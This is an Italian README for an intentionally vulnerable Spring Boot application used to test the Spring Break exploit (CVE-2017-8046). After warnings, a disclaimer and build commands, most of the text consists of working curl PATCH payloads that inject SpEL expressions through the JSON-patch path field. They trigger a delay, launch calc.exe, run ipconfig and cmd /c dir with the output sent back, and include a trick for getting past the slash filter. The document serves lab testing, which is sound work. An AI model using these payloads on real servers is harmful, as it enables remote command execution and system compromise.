
ATTENZIONE: Questa è un'applicazione vulnerabile per testare l'exploit della vulnerabilità Spring Break (CVE-2017-8046). Eseguila a tuo rischio e pericolo!
Questa è un'applicazione vulnerabile per testare l'exploit della vulnerabilità Spring Break (CVE-2017-8046).
Questa applicazione contiene gravi vulnerabilità di sicurezza. Eseguila a tuo rischio! Si consiglia di utilizzare un ambiente isolato e con backup (come una VM con uno snapshot recente e rete host-only). Non caricare questa applicazione su server esposti a Internet, poiché verranno compromessi.
DICHIARAZIONE DI NON RESPONSABILITÀ: non mi assumo la responsabilità per l'uso che chiunque fa di questa applicazione (SpringBreakVulnerableApp). L'unico scopo di questa applicazione è essere uno scenario di test per l'exploit di Spring Break e non dovrebbe essere usata in modo malevolo. Se il tuo server viene compromesso tramite un'installazione di SpringBreakVulnerableApp, non è mia responsabilità, ma è responsabilità della/e persona/e che l'hanno caricata e installata.
L'applicazione può essere avviata con il seguente comando Maven.
mvn spring-boot:run
Un fat jar può essere generato con il seguente comando Maven.
mvn clean install spring-boot:repackage
Per inserire dati puoi usare il seguente comando curl.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
Probabilmente l'exploit più semplice è la seguente richiesta.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
Su Windows, il processo calc.exe può essere avviato con la seguente richiesta. Richieste simili possono essere usate per eseguire comandi arbitrari.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Per ottenere l'output dei comandi eseguiti, si possono usare alcuni "gadget" offerti dal codice di Spring Framework. Fortunatamente, non sono richieste dipendenze esterne. Per esempio, il risultato del comando ipconfig può essere recuperato con la seguente richiesta.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Su Windows, un comando cmd /c dir, e altri comandi simili, possono essere eseguiti con la seguente richiesta. Si noti il trucco usato per inserire il carattere slash evitando il valore esplicito (cioè gli slash espliciti vengono sostituiti con punti prima del parsing reale).
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Un programma Java per sfruttare questa vulnerabilità può essere trovato qui.
Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE.txt per i dettagli.